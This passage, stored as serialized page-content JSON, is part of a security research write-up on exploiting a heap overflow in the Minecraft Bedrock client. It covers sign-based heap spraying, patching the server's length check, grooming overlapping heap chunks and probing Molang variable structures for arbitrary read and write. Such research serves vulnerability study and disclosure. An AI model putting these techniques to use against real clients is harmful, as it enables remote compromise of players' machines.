props":158382,"children":158383},{"style":346},[158384],{"type":29,"value":852},{"type":24,"tag":327,"props":158386,"children":158387},{"class":329,"line":5276},[158388],{"type":24,"tag":327,"props":158389,"children":158390},{"style":346},[158391],{"type":29,"value":131841},{"type":24,"tag":327,"props":158393,"children":158394},{"class":329,"line":5289},[158395],{"type":24,"tag":327,"props":158396,"children":158397},{"emptyLinePlaceholder":16},[158398],{"type":29,"value":544},{"type":24,"tag":327,"props":158400,"children":158401},{"class":329,"line":5302},[158402,158406,158410],{"type":24,"tag":327,"props":158403,"children":158404},{"style":346},[158405],{"type":29,"value":157737},{"type":24,"tag":327,"props":158407,"children":158408},{"style":381},[158409],{"type":29,"value":1922},{"type":24,"tag":327,"props":158411,"children":158412},{"style":346},[158413],{"type":29,"value":19319},{"type":24,"tag":327,"props":158415,"children":158416},{"class":329,"line":5360},[158417],{"type":24,"tag":327,"props":158418,"children":158419},{"style":346},[158420],{"type":29,"value":8989},{"type":24,"tag":327,"props":158422,"children":158423},{"class":329,"line":5369},[158424],{"type":24,"tag":327,"props":158425,"children":158426},{"style":346},[158427],{"type":29,"value":535},{"type":24,"tag":327,"props":158429,"children":158430},{"class":329,"line":38991},[158431],{"type":24,"tag":327,"props":158432,"children":158433},{"style":346},[158434],{"type":29,"value":592},{"type":24,"tag":327,"props":158436,"children":158437},{"class":329,"line":39012},[158438],{"type":24,"tag":327,"props":158439,"children":158440},{"emptyLinePlaceholder":16},[158441],{"type":29,"value":544},{"type":24,"tag":327,"props":158443,"children":158444},{"class":329,"line":87678},[158445,158450,158454,158459,158463,158468,158472,158477,158481,158486,158490,158494],{"type":24,"tag":327,"props":158446,"children":158447},{"style":356},[158448],{"type":29,"value":158449},"world",{"type":24,"tag":327,"props":158451,"children":158452},{"style":346},[158453],{"type":29,"value":66},{"type":24,"tag":327,"props":158455,"children":158456},{"style":356},[158457],{"type":29,"value":158458},"afterEvents",{"type":24,"tag":327,"props":158460,"children":158461},{"style":346},[158462],{"type":29,"value":66},{"type":24,"tag":327,"props":158464,"children":158465},{"style":356},[158466],{"type":29,"value":158467},"playerSpawn",{"type":24,"tag":327,"props":158469,"children":158470},{"style":346},[158471],{"type":29,"value":66},{"type":24,"tag":327,"props":158473,"children":158474},{"style":340},[158475],{"type":29,"value":158476},"subscribe",{"type":24,"tag":327,"props":158478,"children":158479},{"style":346},[158480],{"type":29,"value":38233},{"type":24,"tag":327,"props":158482,"children":158483},{"style":356},[158484],{"type":29,"value":158485},"arg",{"type":24,"tag":327,"props":158487,"children":158488},{"style":346},[158489],{"type":29,"value":1674},{"type":24,"tag":327,"props":158491,"children":158492},{"style":334},[158493],{"type":29,"value":9195},{"type":24,"tag":327,"props":158495,"children":158496},{"style":346},[158497],{"type":29,"value":497},{"type":24,"tag":327,"props":158499,"children":158500},{"class":329,"line":87691},[158501,158506],{"type":24,"tag":327,"props":158502,"children":158503},{"style":340},[158504],{"type":29,"value":158505},"    create_wall",{"type":24,"tag":327,"props":158507,"children":158508},{"style":346},[158509],{"type":29,"value":4838},{"type":24,"tag":327,"props":158511,"children":158512},{"class":329,"line":87699},[158513],{"type":24,"tag":327,"props":158514,"children":158515},{"style":346},[158516],{"type":29,"value":42050},{"type":24,"tag":327,"props":158518,"children":158519},{"class":329,"line":87707},[158520],{"type":24,"tag":327,"props":158521,"children":158522},{"emptyLinePlaceholder":16},[158523],{"type":29,"value":544},{"type":24,"tag":327,"props":158525,"children":158526},{"class":329,"line":87715},[158527,158531,158535,158540,158544,158549,158553,158557,158561,158565,158569,158573,158577,158581],{"type":24,"tag":327,"props":158528,"children":158529},{"style":356},[158530],{"type":29,"value":158449},{"type":24,"tag":327,"props":158532,"children":158533},{"style":346},[158534],{"type":29,"value":66},{"type":24,"tag":327,"props":158536,"children":158537},{"style":356},[158538],{"type":29,"value":158539},"beforeEvents",{"type":24,"tag":327,"props":158541,"children":158542},{"style":346},[158543],{"type":29,"value":66},{"type":24,"tag":327,"props":158545,"children":158546},{"style":356},[158547],{"type":29,"value":158548},"playerLeave",{"type":24,"tag":327,"props":158550,"children":158551},{"style":346},[158552],{"type":29,"value":66},{"type":24,"tag":327,"props":158554,"children":158555},{"style":340},[158556],{"type":29,"value":158476},{"type":24,"tag":327,"props":158558,"children":158559},{"style":346},[158560],{"type":29,"value":349},{"type":24,"tag":327,"props":158562,"children":158563},{"style":334},[158564],{"type":29,"value":42858},{"type":24,"tag":327,"props":158566,"children":158567},{"style":346},[158568],{"type":29,"value":5894},{"type":24,"tag":327,"props":158570,"children":158571},{"style":356},[158572],{"type":29,"value":158485},{"type":24,"tag":327,"props":158574,"children":158575},{"style":346},[158576],{"type":29,"value":1674},{"type":24,"tag":327,"props":158578,"children":158579},{"style":334},[158580],{"type":29,"value":9195},{"type":24,"tag":327,"props":158582,"children":158583},{"style":346},[158584],{"type":29,"value":497},{"type":24,"tag":327,"props":158586,"children":158587},{"class":329,"line":87755},[158588,158593],{"type":24,"tag":327,"props":158589,"children":158590},{"style":340},[158591],{"type":29,"value":158592},"    remove_wall",{"type":24,"tag":327,"props":158594,"children":158595},{"style":346},[158596],{"type":29,"value":4838},{"type":24,"tag":327,"props":158598,"children":158599},{"class":329,"line":87763},[158600],{"type":24,"tag":327,"props":158601,"children":158602},{"style":346},[158603],{"type":29,"value":42050},{"type":24,"tag":25,"props":158605,"children":158606},{},[158607],{"type":29,"value":158608},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":24,"tag":25,"props":158610,"children":158611},{},[158612],{"type":24,"tag":11511,"props":158613,"children":158616},{"alt":158614,"src":158615},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":24,"tag":25,"props":158618,"children":158619},{},[158620],{"type":29,"value":158621},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":24,"tag":168,"props":158623,"children":158625},{"id":158624},"a-small-roadblock",[158626],{"type":29,"value":158627},"A Small Roadblock",{"type":24,"tag":25,"props":158629,"children":158630},{},[158631],{"type":29,"value":158632},"While testing our heap spray method, we encountered the following error:",{"type":24,"tag":317,"props":158634,"children":158636},{"code":158635},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[158637],{"type":24,"tag":284,"props":158638,"children":158639},{"__ignoreMap":7},[158640],{"type":29,"value":158635},{"type":24,"tag":25,"props":158642,"children":158643},{},[158644,158646,158652],{"type":29,"value":158645},"An error is thrown by the server executable while trying to assign text longer than ",{"type":24,"tag":284,"props":158647,"children":158649},{"className":158648},[],[158650],{"type":29,"value":158651},"512",{"type":29,"value":158653}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":24,"tag":25,"props":158655,"children":158656},{},[158657],{"type":29,"value":158658},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":24,"tag":25,"props":158660,"children":158661},{},[158662],{"type":29,"value":158663},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":24,"tag":25,"props":158665,"children":158666},{},[158667],{"type":24,"tag":11511,"props":158668,"children":158670},{"alt":57299,"src":158669},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":24,"tag":25,"props":158672,"children":158673},{},[158674,158676,158682],{"type":29,"value":158675},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":24,"tag":284,"props":158677,"children":158679},{"className":158678},[],[158680],{"type":29,"value":158681},"string_length \u003C= 512",{"type":29,"value":158683}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":24,"tag":25,"props":158685,"children":158686},{},[158687],{"type":29,"value":158688},"The disassembly of the comparison looks like this:",{"type":24,"tag":25,"props":158690,"children":158691},{},[158692],{"type":24,"tag":11511,"props":158693,"children":158695},{"alt":57299,"src":158694},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":24,"tag":25,"props":158697,"children":158698},{},[158699,158701,158706,158708,158713,158714,158719,158721,158727,158729,158735,158737,158742,158744,158749],{"type":29,"value":158700},"The code compares ",{"type":24,"tag":284,"props":158702,"children":158704},{"className":158703},[],[158705],{"type":29,"value":63496},{"type":29,"value":158707}," (the string length) to ",{"type":24,"tag":284,"props":158709,"children":158711},{"className":158710},[],[158712],{"type":29,"value":134541},{"type":29,"value":5894},{"type":24,"tag":284,"props":158715,"children":158717},{"className":158716},[],[158718],{"type":29,"value":158651},{"type":29,"value":158720}," decimal). It then performs a ",{"type":24,"tag":284,"props":158722,"children":158724},{"className":158723},[],[158725],{"type":29,"value":158726},"jbe",{"type":29,"value":158728},", jumping to address ",{"type":24,"tag":284,"props":158730,"children":158732},{"className":158731},[],[158733],{"type":29,"value":158734},"0x14275114c",{"type":29,"value":158736}," if ",{"type":24,"tag":284,"props":158738,"children":158740},{"className":158739},[],[158741],{"type":29,"value":63496},{"type":29,"value":158743}," is less than or equal to ",{"type":24,"tag":284,"props":158745,"children":158747},{"className":158746},[],[158748],{"type":29,"value":158651},{"type":29,"value":158750},". That target location contains the logic that instructs the client to update the sign text - the branch we want to reach every time.",{"type":24,"tag":25,"props":158752,"children":158753},{},[158754,158756,158761,158763,158769],{"type":29,"value":158755},"To force execution down this path, we patched the ",{"type":24,"tag":284,"props":158757,"children":158759},{"className":158758},[],[158760],{"type":29,"value":158726},{"type":29,"value":158762}," instruction to an unconditional ",{"type":24,"tag":284,"props":158764,"children":158766},{"className":158765},[],[158767],{"type":29,"value":158768},"jmp",{"type":29,"value":158770},", ensuring the correct branch is always taken, regardless of the comparison result.",{"type":24,"tag":25,"props":158772,"children":158773},{},[158774],{"type":24,"tag":11511,"props":158775,"children":158777},{"alt":57299,"src":158776},"/posts/minecraft-heap-overflow-to-rce/image6.png",[],{"type":24,"tag":25,"props":158779,"children":158780},{},[158781,158783,158788,158790,158795],{"type":29,"value":158782},"After patching the server and calling ",{"type":24,"tag":284,"props":158784,"children":158786},{"className":158785},[],[158787],{"type":29,"value":156892},{"type":29,"value":158789}," with a size of ",{"type":24,"tag":284,"props":158791,"children":158793},{"className":158792},[],[158794],{"type":29,"value":64870},{"type":29,"value":158796},", the operation now executes successfully, and the client happily allocates a chunk of that size:",{"type":24,"tag":25,"props":158798,"children":158799},{},[158800],{"type":24,"tag":11511,"props":158801,"children":158803},{"alt":57299,"src":158802},"/posts/minecraft-heap-overflow-to-rce/image7.png",[],{"type":24,"tag":68,"props":158805,"children":158806},{},[],{"type":24,"tag":25,"props":158808,"children":158809},{},[158810],{"type":29,"value":158811},"Having a way to spray the heap is great - we can now use the previously mentioned technique to create overlapping chunks in the VS heap, or use it to shape the LFH so that the 4-byte overflow can overwrite an internal Minecraft structure.",{"type":24,"tag":25,"props":158813,"children":158814},{},[158815],{"type":29,"value":158816},"At the time, we couldn't find any useful Minecraft structures to abuse with just a 4-byte OOB write, so we worked on getting overlapping chunks instead.",{"type":24,"tag":235,"props":158818,"children":158820},{"id":158819},"overlapping-heap-chunks",[158821],{"type":29,"value":158822},"Overlapping Heap Chunks",{"type":24,"tag":25,"props":158824,"children":158825},{},[158826,158828,158833],{"type":29,"value":158827},"The attack is described in detail in the referenced blog post (",{"type":24,"tag":57,"props":158829,"children":158831},{"href":156636,"rel":158830},[61],[158832],{"type":29,"value":54304},{"type":29,"value":158834},"), so we will present a high-level overview.",{"type":24,"tag":25,"props":158836,"children":158837},{},[158838,158840,158846],{"type":29,"value":158839},"The core idea is to insert a large chunk that overlaps other chunks above it into the free list. To understand this, some basic knowledge of ",{"type":24,"tag":284,"props":158841,"children":158843},{"className":158842},[],[158844],{"type":29,"value":158845},"_HEAP_VS_CHUNK_HEADER",{"type":29,"value":158847}," structure layout is required:",{"type":24,"tag":317,"props":158849,"children":158851},{"code":158850},"     +---------------------------+           +---------------+\n+0x0 |_HEAP_VS_CHUNK_HEADER_SIZE +----> +0x0 |MemoryCost     |\n     +---------------------------+           +---------------+\n+0x8 |EncodedSegmentPageOffset   |      +0x2 |UnsafeSize     |\n     +---------------------------+           +---------------+\n+0x8 |UnusedBytes                |      +0x4 |UnsafePrevSize |\n     +---------------------------+           +---------------+\n     |           . . .           |      +0x6 |Allocated      |\n                                             +---------------+\n                                             |     . . .     |\n",[158852],{"type":24,"tag":284,"props":158853,"children":158854},{"__ignoreMap":7},[158855],{"type":29,"value":158850},{"type":24,"tag":25,"props":158857,"children":158858},{},[158859,158861,158867,158869,158875,158876,158882,158883,158889,158891,158896,158898,158903,158905,158911,158913,158918,158920,158926],{"type":29,"value":158860},"At offset 0 there is a header ",{"type":24,"tag":284,"props":158862,"children":158864},{"className":158863},[],[158865],{"type":29,"value":158866},"_HEAP_VS_CHUNK_HEADER_SIZE",{"type":29,"value":158868}," containing fields such as ",{"type":24,"tag":284,"props":158870,"children":158872},{"className":158871},[],[158873],{"type":29,"value":158874},"MemoryCost",{"type":29,"value":2744},{"type":24,"tag":284,"props":158877,"children":158879},{"className":158878},[],[158880],{"type":29,"value":158881},"UnsafeSize",{"type":29,"value":2744},{"type":24,"tag":284,"props":158884,"children":158886},{"className":158885},[],[158887],{"type":29,"value":158888},"UnsafePrevSize",{"type":29,"value":158890},", etc. For the attack we only care about the ",{"type":24,"tag":284,"props":158892,"children":158894},{"className":158893},[],[158895],{"type":29,"value":158881},{"type":29,"value":158897}," field: it holds the size of the chunk as its value. Specifically the value is size divided by ",{"type":24,"tag":284,"props":158899,"children":158901},{"className":158900},[],[158902],{"type":29,"value":133164},{"type":29,"value":158904},", so for a chunk of size ",{"type":24,"tag":284,"props":158906,"children":158908},{"className":158907},[],[158909],{"type":29,"value":158910},"0x4010",{"type":29,"value":158912}," the value of ",{"type":24,"tag":284,"props":158914,"children":158916},{"className":158915},[],[158917],{"type":29,"value":158881},{"type":29,"value":158919}," would be ",{"type":24,"tag":284,"props":158921,"children":158923},{"className":158922},[],[158924],{"type":29,"value":158925},"0x401",{"type":29,"value":66},{"type":24,"tag":25,"props":158928,"children":158929},{},[158930,158931,158936],{"type":29,"value":70940},{"type":24,"tag":284,"props":158932,"children":158934},{"className":158933},[],[158935],{"type":29,"value":158881},{"type":29,"value":158937}," field is a 2-byte field located at offset 0x2 relative to the header. Because of that, it can be fully overwritten by the final two bytes of the 4-byte OOB write.",{"type":24,"tag":25,"props":158939,"children":158940},{},[158941,158943,158948,158950,158955,158957,158963,158965,158970],{"type":29,"value":158942},"The field is encoded with a random key that we do not know, so the exact bytes which we overwrite it with don't matter and the size after will be random. That said, by overwriting ",{"type":24,"tag":284,"props":158944,"children":158946},{"className":158945},[],[158947],{"type":29,"value":158881},{"type":29,"value":158949}," in the smallest possible VS chunk (",{"type":24,"tag":284,"props":158951,"children":158953},{"className":158952},[],[158954],{"type":29,"value":158910},{"type":29,"value":158956},"), we maximize the probability that the decoded size becomes larger than the original. Since the decoded size will be anywhere in ",{"type":24,"tag":284,"props":158958,"children":158960},{"className":158959},[],[158961],{"type":29,"value":158962},"[0x10, 0xffff0]",{"type":29,"value":158964}," range, the probability that it exceeds ",{"type":24,"tag":284,"props":158966,"children":158968},{"className":158967},[],[158969],{"type":29,"value":158910},{"type":29,"value":158971}," is:",{"type":24,"tag":317,"props":158973,"children":158975},{"code":158974},"1 - ((0x4010 - 0x10) / (0xffff0 - 0x10)) ~= 98.4%\n",[158976],{"type":24,"tag":284,"props":158977,"children":158978},{"__ignoreMap":7},[158979],{"type":29,"value":158974},{"type":24,"tag":25,"props":158981,"children":158982},{},[158983],{"type":29,"value":158984},"Thus, there is roughly a 98% chance that the resulting decoded size will be larger than the original chunk size.",{"type":24,"tag":25,"props":158986,"children":158987},{},[158988],{"type":29,"value":158989},"Considering there are slight differences between the kernel and userland heap, and that maximizing the success rate of the attack doesn't matter as much for purposes of this writeup, we will do a simplified attack to the one in the referenced blogpost.",{"type":24,"tag":168,"props":158991,"children":158993},{"id":158992},"overlap-attack-overview",[158994],{"type":29,"value":158995},"Overlap Attack Overview",{"type":24,"tag":25,"props":158997,"children":158998},{},[158999,159001,159006],{"type":29,"value":159000},"The goal of the attack is to overwrite the first four bytes of the VS chunk header that we control - in this case the allocation that holds sign text. We then call ",{"type":24,"tag":284,"props":159002,"children":159004},{"className":159003},[],[159005],{"type":29,"value":133187},{"type":29,"value":159007}," on the overwritten chunk so it is inserted into the free list as an overly large chunk, which we can use to create overlaps.",{"type":24,"tag":25,"props":159009,"children":159010},{},[159011,159013,159018,159020,159025],{"type":29,"value":159012},"We don't know the remote client's exact heap layout, but it likely contains ",{"type":24,"tag":284,"props":159014,"children":159016},{"className":159015},[],[159017],{"type":29,"value":154895},{"type":29,"value":159019},"-sized chunks in the free list that we want to avoid. If a ",{"type":24,"tag":284,"props":159021,"children":159023},{"className":159022},[],[159024],{"type":29,"value":154895},{"type":29,"value":159026},"-sized free chunk is used, the 4-byte OOB write could clobber some unknown chunk above it that we don’t control.",{"type":24,"tag":25,"props":159028,"children":159029},{},[159030,159032,159037],{"type":29,"value":159031},"To remove those ",{"type":24,"tag":284,"props":159033,"children":159035},{"className":159034},[],[159036],{"type":29,"value":154895},{"type":29,"value":159038},"-sized chunks from the free list we allocate many signs of that size. The allocator will first reuse free-list entries and then create new regions when the free list is exhausted.",{"type":24,"tag":25,"props":159040,"children":159041},{},[159042],{"type":29,"value":159043},"After draining the free list, we spray the VS heap with many more chunks of the same size. If the free list has been emptied, most of these allocations will be contiguous, producing many adjacent sign allocations like:",{"type":24,"tag":317,"props":159045,"children":159047},{"code":159046},"+--------+--------+--------+--------+--------+\n|        |        |        |        |        |\n| Sign A | Sign B | Sign C | Sign D | Sign F |\n|        |        |        |        |        |\n+--------+--------+--------+--------+--------+\n",[159048],{"type":24,"tag":284,"props":159049,"children":159050},{"__ignoreMap":7},[159051],{"type":29,"value":159046},{"type":24,"tag":25,"props":159053,"children":159054},{},[159055,159057,159062,159064,159069],{"type":29,"value":159056},"Next we create ",{"type":24,"tag":42,"props":159058,"children":159059},{},[159060],{"type":29,"value":159061},"holes",{"type":29,"value":159063}," in the contiguous spray by freeing every other sign allocation. That inserts ",{"type":24,"tag":284,"props":159065,"children":159067},{"className":159066},[],[159068],{"type":29,"value":154895},{"type":29,"value":159070},"-sized free chunks where we want them - directly below allocated sign chunks:",{"type":24,"tag":317,"props":159072,"children":159074},{"code":159073},"            Free              Free            \n+--------+--------+--------+--------+--------+\n|        |........|        |........|        |\n| Sign A |........| Sign C |........| Sign F |\n|        |........|        |........|        |\n+--------+--------+--------+--------+--------+\n",[159075],{"type":24,"tag":284,"props":159076,"children":159077},{"__ignoreMap":7},[159078],{"type":29,"value":159073},{"type":24,"tag":25,"props":159080,"children":159081},{},[159082,159084,159089,159091,159096],{"type":29,"value":159083},"When a ",{"type":24,"tag":284,"props":159085,"children":159087},{"className":159086},[],[159088],{"type":29,"value":154895},{"type":29,"value":159090}," allocation is later requested, the allocator will likely satisfy it from one of our inserted holes. As a result, the next adjacent allocated chunk’s ",{"type":24,"tag":284,"props":159092,"children":159094},{"className":159093},[],[159095],{"type":29,"value":158881},{"type":29,"value":159097}," field will be overwritten:",{"type":24,"tag":317,"props":159099,"children":159101},{"code":159100},"                           +--------+         \n            Free           |        |         \n+--------+--------+--------+ g->out +--------+\n|        |........|        |        |        |\n| Sign A |........| Sign C +--------+ Sign F |\n|        |........|        |        |        |\n+--------+--------+--------+        +--------+\n",[159102],{"type":24,"tag":284,"props":159103,"children":159104},{"__ignoreMap":7},[159105],{"type":29,"value":159100},{"type":24,"tag":25,"props":159107,"children":159108},{},[159109,159111,159116,159118,159123,159125,159130],{"type":29,"value":159110},"Once ",{"type":24,"tag":284,"props":159112,"children":159114},{"className":159113},[],[159115],{"type":29,"value":158881},{"type":29,"value":159117}," has been overwritten, ",{"type":24,"tag":284,"props":159119,"children":159121},{"className":159120},[],[159122],{"type":29,"value":154895},{"type":29,"value":159124}," allocation is freed immediately after, restoring the previous layout but with ",{"type":24,"tag":284,"props":159126,"children":159128},{"className":159127},[],[159129],{"type":29,"value":158881},{"type":29,"value":159131}," field corrupted:",{"type":24,"tag":317,"props":159133,"children":159135},{"code":159134},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n            Free              Free      |           \n+--------+--------+--------+--------+---+----+      \n|        |........|        |........|        |      \n| Sign A |........| Sign C |........| Sign F |      \n|        |........|        |........|        |      \n+--------+--------+--------+--------+--------+      \n",[159136],{"type":24,"tag":284,"props":159137,"children":159138},{"__ignoreMap":7},[159139],{"type":29,"value":159134},{"type":24,"tag":25,"props":159141,"children":159142},{},[159143],{"type":29,"value":159144},"To avoid adjacent-chunk consolidation in the next phase, we spray additional signs to fill the holes inside our contiguous region:",{"type":24,"tag":317,"props":159146,"children":159148},{"code":159147},"                              UnsafeSize Overwritten\n                                        ^           \n                                        |           \n                                        |           \n+--------+--------+--------+--------+---+----+      \n|        |        |        |        |        |      \n| Sign A | Sign B | Sign C | Sign D | Sign F |      \n|        |        |        |        |        |      \n+--------+--------+--------+--------+--------+      \n",[159149],{"type":24,"tag":284,"props":159150,"children":159151},{"__ignoreMap":7},[159152],{"type":29,"value":159147},{"type":24,"tag":25,"props":159154,"children":159155},{},[159156],{"type":29,"value":159157},"Finally, we free the rest of the contiguous spray. One of the freed allocations will have a corrupted (and likely overly large) size, giving us a much larger overflow:",{"type":24,"tag":317,"props":159159,"children":159161},{"code":159160},"                                       Freed Overwritten   \n                                               |           \n                                    +----------+----------+\n                                    |                     |\n   Free              Free           v                     v\n+--------+--------+--------+--------+--------+- - - - - - -\n|........|        |........|        |........|             \n|........| Sign B |........| Sign D |........| Other chunks\n|........|        |........|        |........|             \n+--------+--------+--------+--------+--------+- - - - - - -\n",[159162],{"type":24,"tag":284,"props":159163,"children":159164},{"__ignoreMap":7},[159165],{"type":29,"value":159160},{"type":24,"tag":68,"props":159167,"children":159168},{},[],{"type":24,"tag":25,"props":159170,"children":159171},{},[159172],{"type":29,"value":159173},"This yields a substantially larger overflow primitive than the original 4-byte OOB. However, without an information leak, ASLR is still a big issue and finding a single ideal structure was difficult.",{"type":24,"tag":25,"props":159175,"children":159176},{},[159177],{"type":29,"value":159178},"Instead of looking for simple structures, we shifted focus to more complex server-controlled scripting systems executed by the client - eventually finding Molang.",{"type":24,"tag":235,"props":159180,"children":159182},{"id":159181},"molang",[159183],{"type":29,"value":159184},"Molang",{"type":24,"tag":25,"props":159186,"children":159187},{},[159188,159190,159197],{"type":29,"value":159189},"Molang is a Minecraft-specific scripting language designed for simple math operations and a lightweight state model. It typically controls client-side entity animations and can be included in resource packs delivered by the server. A high-level overview is available in the official ",{"type":24,"tag":57,"props":159191,"children":159194},{"href":159192,"rel":159193},"https://learn.microsoft.com/en-us/minecraft/creator/documents/molang/syntax-guide?view=minecraft-bedrock-stable",[61],[159195],{"type":29,"value":159196},"syntax guide",{"type":29,"value":66},{"type":24,"tag":25,"props":159199,"children":159200},{},[159201,159203,159208,159209,159214],{"type":29,"value":159202},"The available base types are simple: numbers are 32-bit floats, and there is a string type for which only the ",{"type":24,"tag":284,"props":159204,"children":159206},{"className":159205},[],[159207],{"type":29,"value":642},{"type":29,"value":1323},{"type":24,"tag":284,"props":159210,"children":159212},{"className":159211},[],[159213],{"type":29,"value":573},{"type":29,"value":159215}," operators are supported.",{"type":24,"tag":25,"props":159217,"children":159218},{},[159219,159221,159227,159229,159234,159236,159241,159242,159247,159248],{"type":29,"value":159220},"Variables are defined by prepending ",{"type":24,"tag":284,"props":159222,"children":159224},{"className":159223},[],[159225],{"type":29,"value":159226},"variable.",{"type":29,"value":159228}," to the name and assigning a value. For example, to define ",{"type":24,"tag":284,"props":159230,"children":159232},{"className":159231},[],[159233],{"type":29,"value":16637},{"type":29,"value":159235}," as the sum of ",{"type":24,"tag":284,"props":159237,"children":159239},{"className":159238},[],[159240],{"type":29,"value":57},{"type":29,"value":1323},{"type":24,"tag":284,"props":159243,"children":159245},{"className":159244},[],[159246],{"type":29,"value":10828},{"type":29,"value":3459},{"type":24,"tag":284,"props":159249,"children":159251},{"className":159250},[],[159252],{"type":29,"value":159253},"variable.result = variable.a + variable.b;",{"type":24,"tag":25,"props":159255,"children":159256},{},[159257,159259,159264,159265,159270,159271,159276,159277,159282],{"type":29,"value":159258},"Logical operators such as ",{"type":24,"tag":284,"props":159260,"children":159262},{"className":159261},[],[159263],{"type":29,"value":3830},{"type":29,"value":2744},{"type":24,"tag":284,"props":159266,"children":159268},{"className":159267},[],[159269],{"type":29,"value":79922},{"type":29,"value":2744},{"type":24,"tag":284,"props":159272,"children":159274},{"className":159273},[],[159275],{"type":29,"value":1596},{"type":29,"value":2744},{"type":24,"tag":284,"props":159278,"children":159280},{"className":159279},[],[159281],{"type":29,"value":438},{"type":29,"value":159283},", etc., are supported, and conditional branching is implemented using ternary-style blocks:",{"type":24,"tag":317,"props":159285,"children":159287},{"code":159286},"(variable.result == 3) ? {\n    return 1;\n} : {\n    return 0;\n}\n",[159288],{"type":24,"tag":284,"props":159289,"children":159290},{"__ignoreMap":7},[159291],{"type":29,"value":159286},{"type":24,"tag":25,"props":159293,"children":159294},{},[159295],{"type":29,"value":159296},"As shown, Molang is very simple, but we hoped it would be sufficient as a second-stage payload to achieve client-side arbitrary read and write.",{"type":24,"tag":168,"props":159298,"children":159300},{"id":159299},"molang-internals",[159301],{"type":29,"value":159302},"Molang Internals",{"type":24,"tag":25,"props":159304,"children":159305},{},[159306],{"type":29,"value":159307},"What interested us most was how variables are handled. Specifically, we wondered whether we could use the overflow to corrupt a variable and then leverage that corrupted variable to perform arbitrary reads - leaking the information needed to bypass ASLR inside the Molang script, and subsequently use those leaks to carry out arbitrary writes.",{"type":24,"tag":25,"props":159309,"children":159310},{},[159311],{"type":29,"value":159312},"Below we describe the structures involved and their memory layout.",{"type":24,"tag":168,"props":159314,"children":159316},{"id":159315},"molangvariable-and-molangscriptarg",[159317],{"type":29,"value":159318},"MolangVariable and MolangScriptArg",{"type":24,"tag":25,"props":159320,"children":159321},{},[159322,159323,159329],{"type":29,"value":109078},{"type":24,"tag":284,"props":159324,"children":159326},{"className":159325},[],[159327],{"type":29,"value":159328},"MolangVariable",{"type":29,"value":159330}," structure is created for every declared variable. Simplified, it looks something like this:",{"type":24,"tag":317,"props":159332,"children":159334},{"code":159333,"language":320,"meta":7,"className":321,"style":7},"struct MolangVariable {\n    \n    struct HashedString {\n        uint64_t variable_name_hash;\n        std::string variable_name;\n    };\n    \n    struct MolangScriptArg {\n        uint32_t value_type;\n        uint64_t value;\n        std::vector\u003Cstruct MolangScriptArg> struct_fields;\n        \n        [...]\n    };\n};\n",[159335],{"type":24,"tag":284,"props":159336,"children":159337},{"__ignoreMap":7},[159338,159350,159357,159369,159382,159390,159397,159404,159416,159429,159441,159471,159479,159486,159493],{"type":24,"tag":327,"props":159339,"children":159340},{"class":329,"line":330},[159341,159345],{"type":24,"tag":327,"props":159342,"children":159343},{"style":334},[159344],{"type":29,"value":2195},{"type":24,"tag":327,"props":159346,"children":159347},{"style":346},[159348],{"type":29,"value":159349}," MolangVariable {\n",{"type":24,"tag":327,"props":159351,"children":159352},{"class":329,"line":367},[159353],{"type":24,"tag":327,"props":159354,"children":159355},{"style":346},[159356],{"type":29,"value":68509},{"type":24,"tag":327,"props":159358,"children":159359},{"class":329,"line":408},[159360,159364],{"type":24,"tag":327,"props":159361,"children":159362},{"style":334},[159363],{"type":29,"value":13619},{"type":24,"tag":327,"props":159365,"children":159366},{"style":346},[159367],{"type":29,"value":159368}," HashedString {\n",{"type":24,"tag":327,"props":159370,"children":159371},{"class":329,"line":421},[159372,159377],{"type":24,"tag":327,"props":159373,"children":159374},{"style":334},[159375],{"type":29,"value":159376},"        uint64_t",{"type":24,"tag":327,"props":159378,"children":159379},{"style":346},[159380],{"type":29,"value":159381}," variable_name_hash;\n",{"type":24,"tag":327,"props":159383,"children":159384},{"class":329,"line":450},[159385],{"type":24,"tag":327,"props":159386,"children":159387},{"style":346},[159388],{"type":29,"value":159389},"        std::string variable_name;\n",{"type":24,"tag":327,"props":159391,"children":159392},{"class":329,"line":481},[159393],{"type":24,"tag":327,"props":159394,"children":159395},{"style":346},[159396],{"type":29,"value":45710},{"type":24,"tag":327,"props":159398,"children":159399},{"class":329,"line":500},[159400],{"type":24,"tag":327,"props":159401,"children":159402},{"style":346},[159403],{"type":29,"value":68509},{"type":24,"tag":327,"props":159405,"children":159406},{"class":329,"line":529},[159407,159411],{"type":24,"tag":327,"props":159408,"children":159409},{"style":334},[159410],{"type":29,"value":13619},{"type":24,"tag":327,"props":159412,"children":159413},{"style":346},[159414],{"type":29,"value":159415}," MolangScriptArg {\n",{"type":24,"tag":327,"props":159417,"children":159418},{"class":329,"line":538},[159419,159424],{"type":24,"tag":327,"props":159420,"children":159421},{"style":334},[159422],{"type":29,"value":159423},"        uint32_t",{"type":24,"tag":327,"props":159425,"children":159426},{"style":346},[159427],{"type":29,"value":159428}," value_type;\n",{"type":24,"tag":327,"props":159430,"children":159431},{"class":329,"line":547},[159432,159436],{"type":24,"tag":327,"props":159433,"children":159434},{"style":334},[159435],{"type":29,"value":159376},{"type":24,"tag":327,"props":159437,"children":159438},{"style":346},[159439],{"type":29,"value":159440}," value;\n",{"type":24,"tag":327,"props":159442,"children":159443},{"class":329,"line":557},[159444,159449,159453,159457,159462,159466],{"type":24,"tag":327,"props":159445,"children":159446},{"style":346},[159447],{"type":29,"value":159448},"        